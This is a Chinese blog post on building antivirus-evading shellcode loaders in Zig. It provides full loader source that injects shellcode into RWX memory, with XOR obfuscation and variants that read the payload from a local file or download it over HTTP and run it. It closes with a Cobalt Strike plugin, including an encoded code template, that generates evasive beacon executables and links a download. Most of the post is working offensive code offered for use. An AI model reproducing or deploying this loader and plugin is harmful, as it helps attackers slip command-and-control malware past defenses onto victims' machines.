Zig语言免杀探索
赛博雨天 发表于 山西 历史精选 3651浏览 · 2024-02-27 16:40

本文将介绍如何使用 Zig 编程语言来开发免杀程序,并提供了三种不同的方法来制作内嵌、本地和远程读取 Shellcode 的方式。

通过本地读取 Shellcode 的方法。我们可以直接从本地文件中读取 Shellcode,并将其加载到程序中。这种方式使得免杀程序具有更大的灵活性,因为可以根据需要动态地选择不同的 Shellcode 文件。

最后,文章讨论了远程读取 Shellcode 的技术。通过使用 Zig 提供的网络编程功能,我们可以从远程服务器下载 Shellcode,并将其注入到免杀程序中。这种方式使得免杀程序能够实时获取最新的 Shellcode,从而增加了对抗性。

除了以上这些开发技术,还提供了一个方便快捷的 Cobalt Strike 插件,用于生成制作免杀程序。这个插件简化了开发过程,并节省了大量的时间和精力。

插件下载地址:https://github.com/yutianqaq/CSx4Ldr

为什么是 Zig

Zig是一种通用编程语言和工具链,用于维护健壮的、最佳的和可重用的软件。

使用 Zig 制作免杀有下面几个优点:

1、跨平台

2、相对于Golang、Rust、Nim,它对二进制文件有较好的控制(仅通过编译参数就可以控制二进制文件的大小、流程混淆等)

3、目前使用 Zig 做免杀的很少,所以性能会好一些。

下图是最终效果,本文将详细介绍使用 Zig 制作免杀的几种方式

Zig 特性

这是 Zig 的 Hello Wolrd

const std = @import("std");

pub fn main() void {
    std.debug.print("Hello, world!\n", .{});
}

使用默认的编译参数生成的 exe 为 742 kb。

PS > zig build-exe .\hello-zig.zig
PS > ls | findstr hello-zig.exe
-a---           2024/2/26    20:07         759296 hello-zig.exe

Zig的4种构建模式

从上面可以看到仅输出字符串,编译后的程序大小还是非常大的。

但 Zig,提供了非常方便的 4 种构建模式

-Doptimize=Debug 优化关闭和安全模式打开(默认)

-Doptimize=ReleaseSafe 优化打开和安全模式打开

-Doptimize=ReleaseFast优化打开、安全模式关闭

-Doptimize=ReleaseSmall 大小优化打开、安全模式关闭

下面来测试 4 中构建模式对生成后的 PE 文件影响

zig build-exe .\hello-zig.zig -O ReleaseSafe --name hello-zig-Safe
zig build-exe .\hello-zig.zig -O ReleaseFast --name hello-zig-Fast
zig build-exe .\hello-zig.zig  -O ReleaseSmall --name hello-zig-Small

这里可以看到, 在Fast 和 Small 构建模式生成的 exe 最小

ls | findstr hello-zig-*.
-a---           2024/2/26    20:24           4608 hello-zig-Fast.exe
-a---           2024/2/26    20:24         503296 hello-zig-Safe.exe
-a---           2024/2/26    20:24           4608 hello-zig-Small.exe
-a---           2024/2/26    20:05             97 hello-zig.zig

还可以使用 -fstrip-fsingle-threaded 参数进一步缩小 exe 文件

缩小后的 仅 3072 字节(3kb)

zig build-exe .\hello-zig.zig  -O ReleaseSmall --name hello-zig-Small  -fstrip -fsingle-threaded 

ls | findstr hello-zig-*.
-a---           2024/2/26    20:24           4608 hello-zig-Fast.exe
-a---           2024/2/26    20:24         503296 hello-zig-Safe.exe
-a---           2024/2/26    20:29           3072 hello-zig-Small.exe
-a---           2024/2/26    20:05             97 hello-zig.zig
.\hello-zig-Small.exe
Hello, world!

但此处需要注意的是,生成的文件不一定越小越好。

使用 Zig 编译 C语言代码

Zig 还可以当作一个编译器来用。但,这里编译的时候出了点问题,没有编译成功。不过,可以当一个语法参考来使用

zig cc .\hello.c -o hello-c.exe                                                                                     
zig c++ .\hello.c -o hello-cpp.exe                                                                                      
.\hello-c.exe        
Hello world
.\hello-cpp.exe      
Hello world
zig translate-c .\hello.c -isystem "C:\zig\lib\libc\include\any-windows-any\" > hello.zig
zig build-exe .\hello.zig                                                                                               
start.zig:506:17: error: expected return type of main to be 'void', '!void', 'noreturn', 'u8', or '!u8'
                @compileError(bad_main_ret);
                ^~~~~~~~~~~~~~~~~~~~~~~~~~~

Win API 调用

Messagebox

这是 Zig 调用 Win API 的一个例子

const std = @import("std");
const win = std.os.windows;
// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox

// int MessageBox(
//   [in, optional] HWND    hWnd,
//   [in, optional] LPCTSTR lpText,
//   [in, optional] LPCTSTR lpCaption,
//   [in]           UINT    uType
// );
extern "user32" fn MessageBoxA(
    hWnd: ?*anyopaque,
    lpText: [*:0]const u8,
    lpCaption: [*:0]const u8,
    uType: win.UINT,
) callconv(.C) i32;

pub fn main() !void {
    _ = MessageBoxA(null, "Hello", "Zig", 0);
}

编译运行后,弹出了一个消息框

使用 Zig 写一个 Shellcode 加载器

首先需要导入必要的目标和定义必要的 Windows 中的一些类型

const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

const STARTUPINFOW = win.STARTUPINFOW;
const PROCESS_INFORMATION = win.PROCESS_INFORMATION;
const WINAPI = win.WINAPI;
const FALSE = win.FALSE;
const TRUE = win.TRUE;
const HANDLE = win.HANDLE;
const DWORD = win.DWORD;
const BOOL = win.BOOL;
const SIZE_T = win.SIZE_T;
const LPVOID = win.LPVOID;
const LPCVOID = win.LPCVOID;
const SECURITY_ATTRIBUTES = win.SECURITY_ATTRIBUTES;
const LPDWORD = *DWORD;
const LPTHREAD_START_ROUTINE = win.LPTHREAD_START_ROUTINE;
const PROCESS_ALL_ACCESS = 0x000F0000 | (0x00100000) | 0xFFFF;

接着从 Windows API 文档中找到相应的函数原型

extern "kernel32" fn GetCurrentProcessId() callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) HANDLE;
extern "kernel32" fn VirtualAllocEx(hProcess: HANDLE, lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(WINAPI) LPVOID;
extern "kernel32" fn WriteProcessMemory(hProcess: HANDLE, lpBaseAddress: LPVOID, lpBuffer: LPCVOID, nSize: SIZE_T, lpNumberOfBytesWritten: *SIZE_T) callconv(WINAPI) BOOL;
extern "kernel32" fn CreateThread(attr: ?*anyopaque, stacksize: usize, entrypoint: ?*anyopaque, param: ?*anyopaque, creationflag: u32, threadid: ?*u32) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn WaitForSingleObject(handle: ?HANDLE, duration: u32) callconv(WINAPI) u32;

定义好 Windows 类型、函数原型后就可以按照常规的 WIN API 调用方式来编写 Shellcode 加载器了

fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

    const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);

    var bytesWritten: SIZE_T = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

要调用此函数,需要在 main 定义 Shellcode,并在调用的时候传入参数:

pub fn main() void {

    var shellcodeX64 = [_]u8{ 0xfc, ...[snip]... 0x00 };

    Injection(shellcodeX64[0..]);

}

运行结果:

此时,由于 Shellcode 硬编码在代码中,且没有做任何加密。

所以,会被杀毒软件识别。只需要做简单的多字节异或加密即可

通过多字节异或加密来保护 Shellcode

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

运行结果:

zig build-exe .\main.zig
.\main.exe
Encrypted Data: { a2, fe, a6, a2, fc, a4, a0, fc }
Key: { e3, bf, e7 }
Decrypted Data: { 41, 41, 41, 41, 43, 43, 43, 43 }
Key: { e3, bf, e7 }

现在,可以使用 Zig 编写好的程序来加密 Shellcode,也可以使用 Supernova 来获得一个随机长度 Key 的多字节异或加密 Shellcode

Supernova 是一个 Golang 写的 Shellcode 加载器,支持 ROT, XOR, RC4, AES, CHACHA20, B64XOR, B64RC4, B64AES, B64CHACHA20 等加密方式。使用 Sup 生成一个随机 Key 方便

下面是使用 Supernova 来加密 Shellcode 的命令

ls | findstr calc.bin
-a---          2023/12/11    22:15            276 calc.bin
Supernova.exe -enc xor -i .\calc.bin -lang c -k 10
[+] Payload size: 276 bytes

[+] Converted payload to c language

[+] Generated XOR key: 0x5a, 0x2e, 0xb7 ...[snip]... 0x3f, 0x56

[+] The encrypted payload with XOR:

unsigned char shellcode[] = "0xa6, ...[snip]... 0x89";

编译后:

代码

const std = @import("std");
const win = std.os.windows;

...[snip]...

pub fn main() void {
    var shellcodeX64 = [_]u8{ 0xa6, ...[snip]... 0x89 };

    Injection(shellcodeX64[0..]);
}

fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

    const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);
    const key = [_]u8{ 0x5a, 0x2e, 0xb7 ...[snip]... 0x3f, 0x56 };
    xorEncrypt(shellcode[0..], key[0..]);
    var bytesWritten: SIZE_T = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

分离免杀 Zig 实现

本地载入方式

还可以通过读取本地文件的方式来实现 Shellcode 加载

只需要将 main 函数替换为以下代码

需要注意 buf 变量要比文件大

pub fn main() !void {
    var file = try std.fs.cwd().openFile("calc.bin", .{});
    defer file.close();

    var buf_reader = std.io.bufferedReader(file.reader());
    var in_stream = buf_reader.reader();

    var buf: [276]u8 = undefined;
    _ = try in_stream.readAll(buf[0..]);
    Injection(buf[0..]);
}

完整代码

pub fn main() !void {
    var file = try std.fs.cwd().openFile("calc.bin", .{});
    defer file.close();

    var buf_reader = std.io.bufferedReader(file.reader());
    var in_stream = buf_reader.reader();

    var buf: [1024]u8 = undefined;
    _ = try in_stream.readAll(buf[0..]);
    Injection(buf[0..]);
}

fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);

    var bytesWritten: SIZE_T = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

获取远程的 Shellcode

向远程服务器发起请求:

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();
    var client: http.Client = http.Client{ .allocator = allocator };
    defer client.deinit();
    const uri = std.Uri.parse("http://localhost/calc.bin") catch unreachable;

    const headers: http.Headers = http.Headers.init(allocator);
    var req = try client.open(.GET, uri, headers, .{});
    errdefer req.deinit();
    try req.send(.{});
    defer req.deinit();
    try req.wait();

    var buf: [276]u8 = undefined;
    _ = try req.readAll(buf[0..]);
    Injection(buf[0..]);
}

注意:使用时需要将更改 url 内容及 buf 的大小

完整代码:

const std = @import("std");
const win = std.os.windows;
const http = std.http;

const STARTUPINFOW = win.STARTUPINFOW;
const PROCESS_INFORMATION = win.PROCESS_INFORMATION;
const WINAPI = win.WINAPI;
const FALSE = win.FALSE;
const TRUE = win.TRUE;
const HANDLE = win.HANDLE;
const DWORD = win.DWORD;
const BOOL = win.BOOL;
const SIZE_T = win.SIZE_T;
const LPVOID = win.LPVOID;
const LPCVOID = win.LPCVOID;
const SECURITY_ATTRIBUTES = win.SECURITY_ATTRIBUTES;
const LPDWORD = *DWORD;
const LPTHREAD_START_ROUTINE = win.LPTHREAD_START_ROUTINE;
const PROCESS_ALL_ACCESS = 0x000F0000 | (0x00100000) | 0xFFFF;

extern "kernel32" fn GetCurrentProcessId() callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) HANDLE;
extern "kernel32" fn VirtualAllocEx(hProcess: HANDLE, lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(WINAPI) LPVOID;
extern "kernel32" fn WriteProcessMemory(hProcess: HANDLE, lpBaseAddress: LPVOID, lpBuffer: LPCVOID, nSize: SIZE_T, lpNumberOfBytesWritten: *SIZE_T) callconv(WINAPI) BOOL;
extern "kernel32" fn CreateThread(attr: ?*anyopaque, stacksize: usize, entrypoint: ?*anyopaque, param: ?*anyopaque, creationflag: u32, threadid: ?*u32) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn WaitForSingleObject(handle: ?HANDLE, duration: u32) callconv(WINAPI) u32;

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();
    var client: http.Client = http.Client{ .allocator = allocator };
    defer client.deinit();
    const uri = std.Uri.parse("http://localhost/calc.bin") catch unreachable;

    const headers: http.Headers = http.Headers.init(allocator);
    var req = try client.open(.GET, uri, headers, .{});
    errdefer req.deinit();
    try req.send(.{});
    defer req.deinit();
    try req.wait();

    var buf: [276]u8 = undefined;
    _ = try req.readAll(buf[0..]);
    Injection(buf[0..]);
}

fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);


    var bytesWritten: SIZE_T = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

制作 Cobalt Strike 插件

现在可以制作一个 Cobalt Strike 插件来快速生成代码,无需每次手动编译了。

首先需要创建一个来展示选择监听器的对话窗口

sub x4Ldrmenu {
    $dialog = dialog("x4Ldrmenu", %(listener => "" , bit => false), &builder);
    drow_listener_stage($dialog, "listener", "Listener: ");
    dialog_description($dialog, "用于快速生成免杀的可执行文件。");
    dbutton_action($dialog, "Generate");
    dbutton_help($dialog, "https://github.com/yutianqaq/CSx4Ldr");
    dialog_show($dialog);
}

接下来是程序主题,用于处理选择监听器、生成随机 key。

$xorkey = random_string();
    $format_shellcode = shellcode($3["listener"], false, "x64");

    $encrypted_shellcode = str_xor($format_shellcode, $xorkey);
    $encrypted_test = str_xor("test", $xorkey);
    $encrypted_shellcode_size = strlen($format_shellcode);
    println("Key: ". $xorkey);
    println("encrypted_shellcode_size: ". $encrypted_shellcode_size);

code 变量用来保存代码,使用 gzip 来压缩代码,并将 Shellcode 转为相应的格式。

接着替换 code 变量中的值,将 Shellcode 和 随机 key 填充。

$code = gunzip(base64_decode("H4sIAAAAAAAAA31WW3ObOBR+96/Q5KFjsgxxL7Oz40wmJZg0zNrGY3DdbibLyCDXuFhQIZK4af77HknI4IQtD7HO/ejTp6OcnSFvV+SMI0Z+VCkjCdrlSZWRshfntOSo5Am6QB9T6dQ/AfHEOK9tqyrNeNsqFSltPCjm6T2JMIs34CfNVlxUllBon4eUgg0SW3lpgZDkD6W2fSeMkuz9O3AAi6XF817v7AyNyDqlBPF9ceg2CO15uJh502t/Wce0VTrtbO47bhBEQjmf2KHnT2vvDosOcuauHbpRsAhm7nTkjiBi8DhQ3wfttPSm9syrkylBm67tceDWFrnWhnC+0Hqx1Oobezoaa4MStGm09Oej2iLX2nDl++NaL5ZaHXj/uFGoAZGCNo1nn31P51JCY3KObE7bGLjOYu6FXyM7DOfe1SJ0A53/taXJqDs/PWp7PBO4R+ENQDxq4qKxF4iuTzHd5wX+UZEmoLt+l2edVfIgmvuL0Ju6hz11GV+yxB6PI9sRS33k1+LM0S/UF9JbyQADxMHjNXyKnOSRA1nRiabsCVpT9Ilwp2KMUD5jeUzK0kv6BopxlkHF+77ii4FqbDpT+AWhdXA/eRiRUtxZOxbyUAWaaOXRDWEpv8E0ychQssJEycOhaO3ZUVrzrLP255TxCmd2luWx+9jf1PmGdZSJssJOEiZVl4pLomyQ/oQmFO1MtFbxMBhyGsLVPXS9ziAfJzH//+40Pzu7W8KOSd3ShOxytu/s8AqX5NClbhLU1XpN2FCT3kT0uO2smFa7FWH++mrPSSmKcUKH6FQ5dDSrLmBnqw4jmJNwAz9JH3MOdS8b6powDHH8vZT1K/FjIqAM2xd5SvkL1wIzvHuhi0V6gHed4W+Q4f07E3FZK02EJygMdPnbk17ilF/nLEjpt4z4qy2cSn9Ts+lSY5lUTJaRJQzxR1G/qFYixw6nFNh9n6cJeurVyodlSifCEA3VXPOmcPemDqQDzeVrlRzKyyCcSymOAIEW1s2UNZQNKiH47jFD5YYIr4R8+fMDXNzb6K766wk9PQU37njs+CP3+Rk9n0t3J8NlmUJWj4qtwp767ejbgWXdGcqVEV4BXIPz3nOvJ47yN6FDdAs1DxCIcDVZCnUzoav2dX49b0z1aJiHd9DqnCDQWis5m3EGmV9c1rok8LrKMrMBx8oINSXKE3cSOf5k4oVKntmf3Mj9AnMWJrGYkkuYt24Ng36e921k/3a/Npg+5sylMZCWN4BIIMVu9hrSw2mtjm7V4cGqaCJf+UQljUDVcc8PmxN7N9HHgjMHl63CFmiMV7t+0y56DCI/nNDRXVXgDVolREVDozpQC6PVbMdF4rpbgTL8o+FNFa6KUC3cEsyx4pDETCxVdy9IJfDb1qNCPFGq/DpnSKaAp+n0HmcV+VX7iy9do/4WXVyIxAINA22bUJUUIqxT9K90ud3eNaYt+uMCvVXyM7T9H0XNsdZFCgAA"));
    $final_shellcode = format_csharp($encrypted_shellcode);
    $final_xorkey = format_csharp($xorkey);
    println("format_fsharp: ". $final_xorkey);
    $code = replace($code , '\{\{KEY\}\}' , $final_xorkey);
    $code = replace($code , '\{\{SHELLCODE\}\}' , $final_shellcode);

最后,写入到文件中,调用编译命令执行。

至此,完成自动化生成。无需每次都手动生成 bin 文件,生成异或key。很方便!

}else{
            $cmd = "/home/kali/CSx4Ldr/zig/zig build-exe /tmp/temp.zig -fstrip -fsingle-threaded --name x4Ldr -target x86_64-windows";
            $zigfile = "/tmp/temp.zig";
            $clear = "rm /tmp/temp.zig";
            $handle = openf("> $+ $zigfile");
        }

        writeb($handle, $code);
        closef($handle);
        exec($cmd, $null, "/home/kali");
        println("cmd: ". $cmd);
        exec($clear);

插件下载地址:https://github.com/yutianqaq/CSx4Ldr

1 条评论
某人
表情
可输入 255